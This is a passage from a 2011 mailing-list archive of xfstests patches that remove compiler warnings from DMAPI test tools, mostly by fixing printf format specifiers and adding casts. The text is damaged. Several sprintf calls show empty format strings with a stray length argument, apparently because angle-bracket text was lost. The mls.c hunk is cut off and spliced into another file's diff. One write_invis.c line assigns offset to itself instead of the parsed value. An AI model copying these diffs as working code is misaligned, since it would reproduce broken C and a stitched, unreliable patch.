Signed-off-by: Alex Elder --- dmapi/src/common/cmd/read_invis.c | 21 +++++--- dmapi/src/common/cmd/set_region.c | 3 - dmapi/src/common/cmd/set_return_on_destroy.c | 3 - dmapi/src/common/cmd/write_invis.c | 19 +++++-- dmapi/src/common/lib/find_session.c | 8 +-- dmapi/src/common/lib/print.c | 16 +++--- dmapi/src/common/lib/util.c | 68 ++++++++++++--------------- dmapi/src/sample_hsm/migfind.c | 6 +- dmapi/src/sample_hsm/mls.c | 8 +-- dmapi/src/simple/dm_find_eventmsg.c | 4 - dmapi/src/simple/dm_query_session.c | 2 11 files changed, 85 insertions(+), 73 deletions(-) Index: b/dmapi/src/common/cmd/read_invis.c =================================================================== --- a/dmapi/src/common/cmd/read_invis.c +++ b/dmapi/src/common/cmd/read_invis.c @@ -73,7 +73,9 @@ main( dm_sessid_t sid = DM_NO_SESSION; char *object = NULL; dm_off_t offset = 0; + long long lltemp; dm_size_t length = 1; + unsigned long long ulltemp; char *bufp = NULL; void *hanp; size_t hlen; @@ -82,10 +84,11 @@ main( int opt; int i; char *storefile = NULL; - int storefd; + int storefd = 0; int exit_status = 0; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -96,10 +99,12 @@ main( while ((opt = getopt(argc, argv, "o:l:s:c:S:")) != EOF) { switch (opt) { case 'o': - sscanf(optarg, "%lld", &offset); + sscanf(optarg, "%lld", &lltemp); + offset = (dm_off_t) lltemp; break; case 'l': - sscanf(optarg, "%llu", &length); + sscanf(optarg, "%llu", &ulltemp); + length = (dm_size_t) ulltemp; break; case 's': sid = atol(optarg); @@ -141,7 +146,8 @@ main( sufficiently big boundary. */ if ((bufp = memalign(4096, length)) == NULL) { - fprintf(stderr, "malloc of %llu bytes failed\n", length); + fprintf(stderr, "malloc of %llu bytes failed\n", + (unsigned long long) length); exit(1); } memset(bufp, '\0', length); @@ -168,8 +174,9 @@ main( fprintf(stderr, "dm_read_invis failed, %s\n", strerror(errno)); exit_status++; } else if (rc != length) { - fprintf(stderr, "dm_read_invis expected to read %lld bytes, actually " - "read %lld\n", length, rc); + fprintf(stderr, "dm_read_invis expected to read %llu bytes, actually " + "read %lld\n", (unsigned long long) length, + (long long) rc); exit_status++; } Index: b/dmapi/src/common/cmd/set_region.c =================================================================== --- a/dmapi/src/common/cmd/set_region.c +++ b/dmapi/src/common/cmd/set_region.c @@ -86,7 +86,8 @@ main( int opt; int i; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/common/cmd/set_return_on_destroy.c =================================================================== --- a/dmapi/src/common/cmd/set_return_on_destroy.c +++ b/dmapi/src/common/cmd/set_return_on_destroy.c @@ -70,7 +70,8 @@ main( int opt; int Fflag = 0; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/common/cmd/write_invis.c =================================================================== --- a/dmapi/src/common/cmd/write_invis.c +++ b/dmapi/src/common/cmd/write_invis.c @@ -71,7 +71,9 @@ main( dm_sessid_t sid = DM_NO_SESSION; char *object = NULL; dm_off_t offset = 0; + long long lltemp; dm_size_t length = 1; + unsigned long long ulltemp; u_char ch = 'X'; void *bufp = NULL; void *hanp; @@ -83,7 +85,8 @@ main( int storefd; int exit_status = 0; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -97,10 +100,12 @@ main( ch = *optarg; break; case 'o': - sscanf(optarg, "%lld", &offset); + sscanf(optarg, "%lld", &lltemp); + offset = (dm_off_t) offset; break; case 'l': - sscanf(optarg, "%llu", &length); + sscanf(optarg, "%llu", &ulltemp); + length = (dm_size_t) ulltemp; break; case 's': sid = atol(optarg); @@ -135,7 +140,8 @@ main( sufficiently big boundary. */ if ((bufp = memalign(4096, length)) == NULL) { - fprintf(stderr, "malloc of %llu bytes failed\n", length); + fprintf(stderr, "malloc of %llu bytes failed\n", + (unsigned long long) length); exit(1); } memset(bufp, ch, length); @@ -170,8 +176,9 @@ main( fprintf(stderr, "dm_write_invis failed, %s\n", strerror(errno)); exit_status++; } else if (rc != length) { - fprintf(stderr, "dm_write_invis expected to write %lld bytes, actually " - "wrote %lld\n", length, rc); + fprintf(stderr, "dm_write_invis expected to write %llu bytes, " + "actually wrote %lld\n", + (unsigned long long) length, (long long)rc); exit_status++; } dm_handle_free(hanp, hlen); Index: b/dmapi/src/common/lib/find_session.c =================================================================== --- a/dmapi/src/common/lib/find_session.c +++ b/dmapi/src/common/lib/find_session.c @@ -81,8 +81,8 @@ find_test_session( allocelem = nelem; sidbuf = realloc(sidbuf, nelem * sizeof(*sidbuf)); if (sidbuf == NULL) { - fprintf(stderr, "realloc of %d bytes failed\n", - nelem * sizeof(*sidbuf)); + fprintf(stderr, "realloc of %lu bytes failed\n", + (unsigned long) nelem * sizeof(*sidbuf)); exit(1); } } @@ -142,8 +142,8 @@ find_test_session( allocelem = nelem; sidbuf = realloc(sidbuf, nelem * sizeof(*sidbuf)); if (sidbuf == NULL) { - fprintf(stderr, "realloc of %d bytes failed\n", - nelem * sizeof(*sidbuf)); + fprintf(stderr, "realloc of %lu bytes failed\n", + (unsigned long) nelem * sizeof(*sidbuf)); exit(1); } } Index: b/dmapi/src/common/lib/print.c =================================================================== --- a/dmapi/src/common/lib/print.c +++ b/dmapi/src/common/lib/print.c @@ -132,31 +132,31 @@ print_one_mount_event( if (hanp1 && hlen1) { hantoa(hanp1, hlen1, hans1); } else { - sprintf(hans1, "", hlen1); + sprintf(hans1, "", hlen1); } if (hanp2 && hlen2) { hantoa(hanp2, hlen2, hans2); } else { - sprintf(hans2, "", hlen2); + sprintf(hans2, "", hlen2); } if (hanp3 && hlen3) { hantoa(hanp3, hlen3, hans3); } else { - sprintf(hans3, "", hlen3); + sprintf(hans3, "", hlen3); } if (namp1 && nlen1) { strncpy(nams1, namp1, nlen1); if (nlen1 != sizeof(nams1)) nams1[nlen1] = '\0'; } else { - sprintf(nams1, "", nlen1); + sprintf(nams1, "", nlen1); } if (namp2 && nlen2) { strncpy(nams2, namp2, nlen2); if (nlen2 != sizeof(nams2)) nams2[nlen2] = '\0'; } else { - sprintf(nams2, "", nlen2); + sprintf(nams2, "", nlen2); } printf(VALS VALS VALS VALS VALS VALD, @@ -183,13 +183,13 @@ print_one_data_event( if (hanp && hlen) { hantoa(hanp, hlen, handle); } else { - sprintf(handle, "", hlen); + sprintf(handle, "", hlen); } printf(VALS VALLLD VALLLD, "file_handle", handle, - "offset", msg_de->de_offset, - "length", msg_de->de_length); + "offset", (long long) msg_de->de_offset, + "length", (long long) msg_de->de_length); return(0); } Index: b/dmapi/src/common/lib/util.c =================================================================== --- a/dmapi/src/common/lib/util.c +++ b/dmapi/src/common/lib/util.c @@ -234,12 +234,12 @@ print_handle( char handle_str[HANDLE_STR]; if (hlen > HANDLE_LEN) { - printf("-- invalid hlen length %d --\n", hlen); + printf("-- invalid hlen length %zd --\n", hlen); return; } printf("print_handle: "); - printf("%d\t", hlen); + printf("%zd\t", hlen); hantoa(hanp, hlen, handle_str); printf("%s\n ", handle_str); } @@ -257,10 +257,10 @@ print_victim( return; } - printf("%d\t", hlen); + printf("%zd\t", hlen); hantoa(hanp, hlen, handle_str); printf("%s ", handle_str); - printf("\t%lld \n", fsize); + printf("\t%lld \n", (long long) fsize); } @@ -583,20 +583,17 @@ validate_state( if (report_errors) { fprintf(stdout, "ERROR:dmstat->dt_dev 0x%llx, " "statb.st_dev 0x%llx\n", - (uint64_t)dmstat->dt_dev, - (uint64_t)statb.st_dev); + (unsigned long long) dmstat->dt_dev, + (unsigned long long) statb.st_dev); } errors++; } if (dmstat->dt_ino != statb.st_ino) { if (report_errors) { fprintf(stdout, "ERROR:dmstat->dt_ino %llx, " -#if defined(linux) || (defined(__sgi) && (_MIPS_SIM != _MIPS_SIM_ABI32)) "statb.st_ino %llx\n", -#else - "statb.st_ino %x\n", -#endif - dmstat->dt_ino, statb.st_ino); + (unsigned long long) dmstat->dt_ino, + (unsigned long long) statb.st_ino); } errors++; } @@ -620,9 +617,10 @@ validate_state( } if (dmstat->dt_nlink != statb.st_nlink) { if (report_errors) { - fprintf(stdout, "ERROR:dmstat->dt_nlink %d, " - "statb.st_nlink %d\n", dmstat->dt_nlink, - statb.st_nlink); + fprintf(stdout, "ERROR:dmstat->dt_nlink %u, " + "statb.st_nlink %u\n", + (unsigned int) dmstat->dt_nlink, + (unsigned int) statb.st_nlink); } errors++; } @@ -646,20 +644,17 @@ validate_state( if (report_errors) { fprintf(stdout, "ERROR:dmstat->dt_rdev 0x%llx, " "statb.st_rdev 0x%llx\n", - (uint64_t)dmstat->dt_rdev, - (uint64_t)statb.st_rdev); + (unsigned long long) dmstat->dt_rdev, + (unsigned long long) statb.st_rdev); } errors++; } if (dmstat->dt_size != statb.st_size) { if (report_errors) { fprintf(stdout, "ERROR:dmstat->dt_size %lld, " -#if defined(linux) || (defined(__sgi) && (_MIPS_SIM != _MIPS_SIM_ABI32)) "statb.st_size %lld\n", -#else - "statb.st_size %d\n", -#endif - dmstat->dt_size, statb.st_size); + (long long) dmstat->dt_size, + (long long) statb.st_size); } errors++; } @@ -706,12 +701,9 @@ validate_state( if (dmstat->dt_blocks != statb.st_blocks) { if (report_errors) { fprintf(stdout, "ERROR:dmstat->dt_blocks %lld, " -#if defined(linux) || (defined(__sgi) && (_MIPS_SIM != _MIPS_SIM_ABI32)) "statb.st_blocks %lld\n", -#else - "statb.st_blocks %d\n", -#endif - dmstat->dt_blocks, statb.st_blocks); + (long long) dmstat->dt_blocks, + (long long) statb.st_blocks); } errors++; } @@ -896,16 +888,20 @@ print_state( { /* Print all the stat block fields. */ - fprintf(stdout, "dt_dev 0x%llx\n", (uint64_t)dmstat->dt_dev); - fprintf(stdout, "dt_ino %llx\n", dmstat->dt_ino); + fprintf(stdout, "dt_dev 0x%llx\n", + (unsigned long long) dmstat->dt_dev); + fprintf(stdout, "dt_ino %llx\n", + (unsigned long long) dmstat->dt_ino); fprintf(stdout, "dt_mode (type) %s\n", mode_to_string(dmstat->dt_mode)); fprintf(stdout, "dt_mode (perm) 0%o\n", dmstat->dt_mode & S_MASK); fprintf(stdout, "dt_nlink %d\n", dmstat->dt_nlink); fprintf(stdout, "dt_uid %d\n", dmstat->dt_uid); fprintf(stdout, "dt_gid %d\n", dmstat->dt_gid); - fprintf(stdout, "dt_rdev 0x%llx\n", (uint64_t)dmstat->dt_rdev); - fprintf(stdout, "dt_size %lld\n", dmstat->dt_size); + fprintf(stdout, "dt_rdev 0x%llx\n", + (unsigned long long) dmstat->dt_rdev); + fprintf(stdout, "dt_size %lld\n", + (unsigned long long) dmstat->dt_size); fprintf(stdout, "dt_atime %s\n", date_to_string(dmstat->dt_atime)); @@ -915,7 +911,7 @@ print_state( date_to_string(dmstat->dt_ctime)); fprintf(stdout, "dt_blksize %d\n", dmstat->dt_blksize); - fprintf(stdout, "dt_blocks %lld\n", dmstat->dt_blocks); + fprintf(stdout, "dt_blocks %lld\n", (long long) dmstat->dt_blocks); #if defined(__sgi) || defined(linux) fprintf(stdout, "dt_xfs_igen %d\n", dmstat->dt_xfs_igen); @@ -945,22 +941,22 @@ extern void print_line( dm_stat_t *dmstat) { - fprintf(stdout, "0x%llx|", (uint64_t)dmstat->dt_dev); - fprintf(stdout, "%llx|", dmstat->dt_ino); + fprintf(stdout, "0x%llx|", (unsigned long long) dmstat->dt_dev); + fprintf(stdout, "%llx|", (unsigned long long) dmstat->dt_ino); fprintf(stdout, "%s|", mode_to_string(dmstat->dt_mode)); fprintf(stdout, "0%o|", dmstat->dt_mode & S_MASK); fprintf(stdout, "%d|", dmstat->dt_nlink); fprintf(stdout, "%d|", dmstat->dt_uid); fprintf(stdout, "%d|", dmstat->dt_gid); - fprintf(stdout, "0x%llx|", (uint64_t)dmstat->dt_rdev); - fprintf(stdout, "%lld|", dmstat->dt_size); + fprintf(stdout, "0x%llx|", (unsigned long long) dmstat->dt_rdev); + fprintf(stdout, "%lld|", (long long) dmstat->dt_size); fprintf(stdout, "%s|", date_to_string(dmstat->dt_atime)); fprintf(stdout, "%s|", date_to_string(dmstat->dt_mtime)); fprintf(stdout, "%s|", date_to_string(dmstat->dt_ctime)); fprintf(stdout, "%d|", dmstat->dt_blksize); - fprintf(stdout, "%lld|", dmstat->dt_blocks); + fprintf(stdout, "%lld|", (long long) dmstat->dt_blocks); fprintf(stdout, "%d|", dmstat->dt_xfs_igen); fprintf(stdout, "%s|", xflags_to_string(dmstat->dt_xfs_xflags)); Index: b/dmapi/src/sample_hsm/migfind.c =================================================================== --- a/dmapi/src/sample_hsm/migfind.c +++ b/dmapi/src/sample_hsm/migfind.c @@ -78,7 +78,7 @@ verify_size( size = strtol(str,0,0); if (size < 0 || size >= LONG_MAX ) { - printf("Size %lld is invalid \n", size); + printf("Size %lld is invalid \n", (long long) size); return(1); } @@ -87,13 +87,13 @@ verify_size( cp++; if (*cp == 'k' || *cp == 'K') { if ( size >= (u_int) MAX_K) { - printf("Size %lld is invalid\n", size); + printf("Size %lld is invalid\n", (long long) size); return(1); } size *= 1024; } else if (*cp == 'm' || *cp == 'M') { if ( size >= (u_int) MAX_M) { - printf("Size %lld is invalid\n", size); + printf("Size %lld is invalid\n", (long long) size); return(1); } size *= (1024*1024); Index: b/dmapi/src/sample_hsm/mls.c =================================================================== --- a/dmapi/src/sample_hsm/mls.c +++ b/dmapi/src/sample_hsm/mls.c @@ -183,8 +183,8 @@ mr_info( printf("\n"); for (i=0; i <-t token> [-l buflen]\n", argv[0]); @@ -75,6 +75,6 @@ main( int argc, char **argv ) ret = dm_find_eventmsg( sid, token, buflen, &msg, &rlen ); printf( "ret=%d\n", ret ); - printf( "rlen=%d\n", rlen ); + printf( "rlen=%zd\n", rlen ); exit(0); } Index: b/dmapi/src/simple/dm_query_session.c =================================================================== --- a/dmapi/src/simple/dm_query_session.c +++ b/dmapi/src/simple/dm_query_session.c @@ -67,7 +67,7 @@ main( int argc, char **argv ) ret = dm_query_session( sid, buflen, sessinfo, &rlen ); printf( "ret=%d\n", ret ); - printf( "rlen=%d\n", rlen ); + printf( "rlen=%zd\n", rlen ); if( ret != -1 ) printf( "sessinfo=%s\n", sessinfo ); exit(0); From aelder@sgi.com Fri Mar 4 13:35:10 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_64 autolearn=no version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24JZAHI184597 for ; Fri, 4 Mar 2011 13:35:10 -0600 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3898B304062; Fri, 4 Mar 2011 11:38:02 -0800 (PST) Received: from stout.americas.sgi.com (localhost6.localdomain6 [127.0.0.1]) by stout.americas.sgi.com (8.14.4/8.14.2) with ESMTP id p24Jc2T0004850; Fri, 4 Mar 2011 13:38:02 -0600 Received: (from aelder@localhost) by stout.americas.sgi.com (8.14.4/8.14.4/Submit) id p24Jc2m7004848; Fri, 4 Mar 2011 13:38:02 -0600 From: Alex Elder Message-Id: <201103041938.p24Jc2m7004848@stout.americas.sgi.com> Date: Fri, 04 Mar 2011 13:38:01 -0600 To: xfs@oss.sgi.com Subject: [PATCH 2/5] xfstests: eliminate warnings under dmapi/src/suite1/cmd (1) User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Eliminate build warnings reported on files located under dmapi/src/suite1/cmd/ (first of three). Signed-off-by: Alex Elder --- dmapi/src/suite1/cmd/create_userevent.c | 3 ++- dmapi/src/suite1/cmd/dm_handle.c | 3 ++- dmapi/src/suite1/cmd/downgrade_right.c | 3 ++- dmapi/src/suite1/cmd/get_allocinfo.c | 25 ++++++++++++++----------- dmapi/src/suite1/cmd/get_config_events.c | 5 +++-- dmapi/src/suite1/cmd/get_dirattrs.c | 10 ++++------ dmapi/src/suite1/cmd/get_dmattr.c | 9 +++++---- dmapi/src/suite1/cmd/get_eventlist.c | 9 +++------ dmapi/src/suite1/cmd/get_events.c | 9 +++++---- dmapi/src/suite1/cmd/get_fileattr.c | 3 ++- dmapi/src/suite1/cmd/get_mountinfo.c | 9 +++++---- dmapi/src/suite1/cmd/get_region.c | 12 +++++------- dmapi/src/suite1/cmd/getall_disp.c | 13 +++++++------ 13 files changed, 59 insertions(+), 54 deletions(-) Index: b/dmapi/src/suite1/cmd/create_userevent.c =================================================================== --- a/dmapi/src/suite1/cmd/create_userevent.c +++ b/dmapi/src/suite1/cmd/create_userevent.c @@ -61,7 +61,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/dm_handle.c =================================================================== --- a/dmapi/src/suite1/cmd/dm_handle.c +++ b/dmapi/src/suite1/cmd/dm_handle.c @@ -80,7 +80,8 @@ main( char fsbuffer3[100]; int fd; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/downgrade_right.c =================================================================== --- a/dmapi/src/suite1/cmd/downgrade_right.c +++ b/dmapi/src/suite1/cmd/downgrade_right.c @@ -75,7 +75,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/get_allocinfo.c =================================================================== --- a/dmapi/src/suite1/cmd/get_allocinfo.c +++ b/dmapi/src/suite1/cmd/get_allocinfo.c @@ -155,7 +155,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -236,7 +237,8 @@ print_alloc( char *type = NULL; int rc; - fprintf(stdout, "%s: starting offset %lld\n", pathname, startoff); + fprintf(stdout, "%s: starting offset %lld\n", pathname, + (long long) startoff); /* Allocate space for the number of extents requested by the user. */ @@ -283,21 +285,21 @@ print_alloc( if (!Dflag) { fprintf(stdout, "\t%d: [%lld..%lld]: %s", num, - extent[i].ex_offset / 512, - (extent[i].ex_offset + + (long long) extent[i].ex_offset / 512, + (long long) (extent[i].ex_offset + extent[i].ex_length - 1) / 512, type); if ((extent[i].ex_offset % 512 != 0) || (endoff % 512 != 0)) { fprintf(stdout, "\t[%lld..%lld]\n", - extent[i].ex_offset % 512, - (endoff-1) % 512); + (long long) extent[i].ex_offset % 512, + (long long) (endoff-1) % 512); } else { fprintf(stdout, "\n"); } } else { fprintf(stdout, "%5s %13lld %13lld\n", - type, extent[i].ex_offset, - extent[i].ex_length); + type, (long long) extent[i].ex_offset, + (long long) extent[i].ex_length); } /* The ex_offset of the first extent should match the @@ -310,13 +312,14 @@ print_alloc( if (extent[i].ex_offset != endoff) { fprintf(stderr, "new extent (%lld)is not " "adjacent to previous one (%lld)\n", - extent[i].ex_offset, endoff); + (long long) extent[i].ex_offset, + (long long) endoff); return(1); } if (num && (extent[i].ex_offset % 512) != 0) { fprintf(stderr, "non-initial ex_offset (%lld) " "is not a 512-byte multiple\n", - extent[i].ex_offset); + (long long) extent[i].ex_offset); return(1); } @@ -343,7 +346,7 @@ print_alloc( if (rc && startoff != endoff) { fprintf(stderr, "startoff is %lld, should be %lld\n", - startoff, endoff); + (long long) startoff, (long long) endoff); return(1); } Index: b/dmapi/src/suite1/cmd/get_config_events.c =================================================================== --- a/dmapi/src/suite1/cmd/get_config_events.c +++ b/dmapi/src/suite1/cmd/get_config_events.c @@ -65,7 +65,8 @@ main( int opt; int i; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -104,7 +105,7 @@ main( } fprintf(stdout, "Events supported (0x%llx), nelemp %d:\n", - eventset, nelemp); + (unsigned long long) eventset, nelemp); for (i = 0; i < nelemp; i++) { if (!DMEV_ISSET(i, eventset)) Index: b/dmapi/src/suite1/cmd/get_dirattrs.c =================================================================== --- a/dmapi/src/suite1/cmd/get_dirattrs.c +++ b/dmapi/src/suite1/cmd/get_dirattrs.c @@ -43,8 +43,6 @@ char *Progname; static void usage(void) { - int i; - fprintf(stderr, "usage:\t%s [-b buflen] [-l loc] [-s sid] [-1] [-q] dirpath\n", Progname); exit(1); @@ -68,12 +66,12 @@ main( size_t hlen; char *name; int opt; - int i; int ret; int oneline = 0; int quiet = 0; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -137,8 +135,8 @@ main( exit(1); } if (!quiet) { - fprintf(stdout, "ret = %d, rlenp is %d, loc is %lld\n", ret, - rlenp, loc); + fprintf(stdout, "ret = %d, rlenp is %zd, loc is %lld\n", + ret, rlenp, (long long) loc); } if (rlenp > 0) { dm_stat_t *statp; Index: b/dmapi/src/suite1/cmd/get_dmattr.c =================================================================== --- a/dmapi/src/suite1/cmd/get_dmattr.c +++ b/dmapi/src/suite1/cmd/get_dmattr.c @@ -61,7 +61,7 @@ main( dm_token_t token = DM_NO_TOKEN; char *object; dm_attrname_t *attrnamep; - void *bufp; + void *bufp = NULL; size_t buflen = 10000; size_t rlenp; void *hanp; @@ -69,7 +69,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -122,14 +123,14 @@ main( bufp, &rlenp)) { if (errno == E2BIG) { fprintf(stderr, "dm_get_dmattr buffer too small, " - "should be %d bytes\n", rlenp); + "should be %zd bytes\n", rlenp); } else { fprintf(stderr, "dm_get_dmattr failed, %s\n", strerror(errno)); } exit(1); } - fprintf(stdout, "rlenp is %d, value is '%s'\n", rlenp, (char*)bufp); + fprintf(stdout, "rlenp is %zd, value is '%s'\n", rlenp, (char*)bufp); dm_handle_free(hanp, hlen); exit(0); Index: b/dmapi/src/suite1/cmd/get_eventlist.c =================================================================== --- a/dmapi/src/suite1/cmd/get_eventlist.c +++ b/dmapi/src/suite1/cmd/get_eventlist.c @@ -80,7 +80,8 @@ main( int opt; int i; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -147,12 +148,8 @@ main( return(1); } -#ifdef VERITAS_21 - fprintf(stdout, "Events on object %s (0x%x), nelemp %d:\n", -#else fprintf(stdout, "Events on object %s (0x%llx), nelemp %d:\n", -#endif - object, eventset, nelemp); + object, (unsigned long long) eventset, nelemp); for (i = 0; i < nelemp; i++) { if (!DMEV_ISSET(i, eventset)) Index: b/dmapi/src/suite1/cmd/get_events.c =================================================================== --- a/dmapi/src/suite1/cmd/get_events.c +++ b/dmapi/src/suite1/cmd/get_events.c @@ -60,14 +60,15 @@ main( dm_eventmsg_t *msg; dm_sessid_t sid; u_int flags = 0; - void *bufp; + void *bufp = NULL; size_t buflen = 10000; u_int maxmsgs = 1; size_t rlenp; char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -109,14 +110,14 @@ main( if (dm_get_events(sid, maxmsgs, flags, buflen, bufp, &rlenp)) { if (errno == E2BIG) { fprintf(stderr, "dm_get_events buffer too small, " - "should be %d bytes\n", rlenp); + "should be %zd bytes\n", rlenp); } else { fprintf(stderr, "dm_get_events failed, (%d)%s\n", errno, strerror(errno)); } exit(1); } - fprintf(stdout, "rlenp=%d\n", rlenp); + fprintf(stdout, "rlenp=%zd\n", rlenp); if (rlenp == 0) return(0); Index: b/dmapi/src/suite1/cmd/get_fileattr.c =================================================================== --- a/dmapi/src/suite1/cmd/get_fileattr.c +++ b/dmapi/src/suite1/cmd/get_fileattr.c @@ -59,7 +59,8 @@ main( int opt; int validate = 0; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/get_mountinfo.c =================================================================== --- a/dmapi/src/suite1/cmd/get_mountinfo.c +++ b/dmapi/src/suite1/cmd/get_mountinfo.c @@ -76,7 +76,7 @@ main( { dm_sessid_t sid = DM_NO_SESSION; char *pathname; - void *bufp; + void *bufp = NULL; size_t buflen = 10000; size_t rlenp; void *fshanp; @@ -84,7 +84,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -134,14 +135,14 @@ main( bufp, &rlenp)) { if (errno == E2BIG) { fprintf(stderr, "dm_get_mountinfo buffer too small, " - "should be %d bytes\n", rlenp); + "should be %zd bytes\n", rlenp); } else { fprintf(stderr, "dm_get_mountinfo failed, %s\n", strerror(errno)); } exit(1); } - fprintf(stdout, "rlenp is %d\n", rlenp); + fprintf(stdout, "rlenp is %zd\n", rlenp); print_one_mount_event(bufp); dm_handle_free(fshanp, fshlen); Index: b/dmapi/src/suite1/cmd/get_region.c =================================================================== --- a/dmapi/src/suite1/cmd/get_region.c +++ b/dmapi/src/suite1/cmd/get_region.c @@ -67,7 +67,8 @@ main( int opt; int i; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -121,12 +122,9 @@ main( fprintf(stdout, "%d regions\n", nelemp); for (i = 0; i < nelemp; i++) { -#ifdef VERITAS_21 - fprintf(stdout, "offset %d, size %d, flags 0x%x\n", -#else - fprintf(stdout, "offset %lld, size %lld, flags 0x%x\n", -#endif - regbufp[i].rg_offset, regbufp[i].rg_size, + fprintf(stdout, "offset %lld, size %llu, flags 0x%x\n", + (long long) regbufp[i].rg_offset, + (unsigned long long) regbufp[i].rg_size, regbufp[i].rg_flags); } Index: b/dmapi/src/suite1/cmd/getall_disp.c =================================================================== --- a/dmapi/src/suite1/cmd/getall_disp.c +++ b/dmapi/src/suite1/cmd/getall_disp.c @@ -58,7 +58,7 @@ main( { dm_dispinfo_t *disp; dm_sessid_t sid; - void *bufp; + void *bufp = NULL; size_t buflen = 10000; void *hanp; size_t hlen; @@ -67,7 +67,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -103,14 +104,14 @@ main( if (dm_getall_disp(sid, buflen, bufp, &rlenp)) { if (errno == E2BIG) { fprintf(stderr, "dm_getall_disp buffer too small, " - "should be %d bytes\n", rlenp); + "should be %zd bytes\n", rlenp); } else { fprintf(stderr, "dm_getall_disp failed, %s\n", strerror(errno)); } exit(1); } - fprintf(stdout, "rlenp is %d\n", rlenp); + fprintf(stdout, "rlenp is %zd\n", rlenp); if (rlenp == 0) return(0); @@ -121,11 +122,11 @@ main( if (hanp && hlen) { hantoa(hanp, hlen, hans1); } else { - sprintf(hans1, "", hlen); + sprintf(hans1, "", hlen); } printf("%-15s %s dm_eventset_t 0%llo\n", "fshandle", hans1, - disp->di_eventset); + (unsigned long long) disp->di_eventset); disp = DM_STEP_TO_NEXT(disp, dm_dispinfo_t *); } From aelder@sgi.com Fri Mar 4 13:35:16 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-4.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_52, LOCAL_GNU_PATCH autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24JZFNd184614 for ; Fri, 4 Mar 2011 13:35:15 -0600 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by relay3.corp.sgi.com (Postfix) with ESMTP id 79CF2AC001; Fri, 4 Mar 2011 11:38:07 -0800 (PST) Received: from stout.americas.sgi.com (localhost6.localdomain6 [127.0.0.1]) by stout.americas.sgi.com (8.14.4/8.14.2) with ESMTP id p24Jc7FG004856; Fri, 4 Mar 2011 13:38:07 -0600 Received: (from aelder@localhost) by stout.americas.sgi.com (8.14.4/8.14.4/Submit) id p24Jc7BL004854; Fri, 4 Mar 2011 13:38:07 -0600 From: Alex Elder Message-Id: <201103041938.p24Jc7BL004854@stout.americas.sgi.com> Date: Fri, 04 Mar 2011 13:38:07 -0600 To: xfs@oss.sgi.com Subject: [PATCH 3/5] xfstests: eliminate warnings under dmapi/src/suite1/cmd (2) User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Eliminate build warnings reported on files located under dmapi/src/suite1/cmd/ (second of three). Signed-off-by: Alex Elder --- dmapi/src/suite1/cmd/getall_dmattr.c | 7 +-- 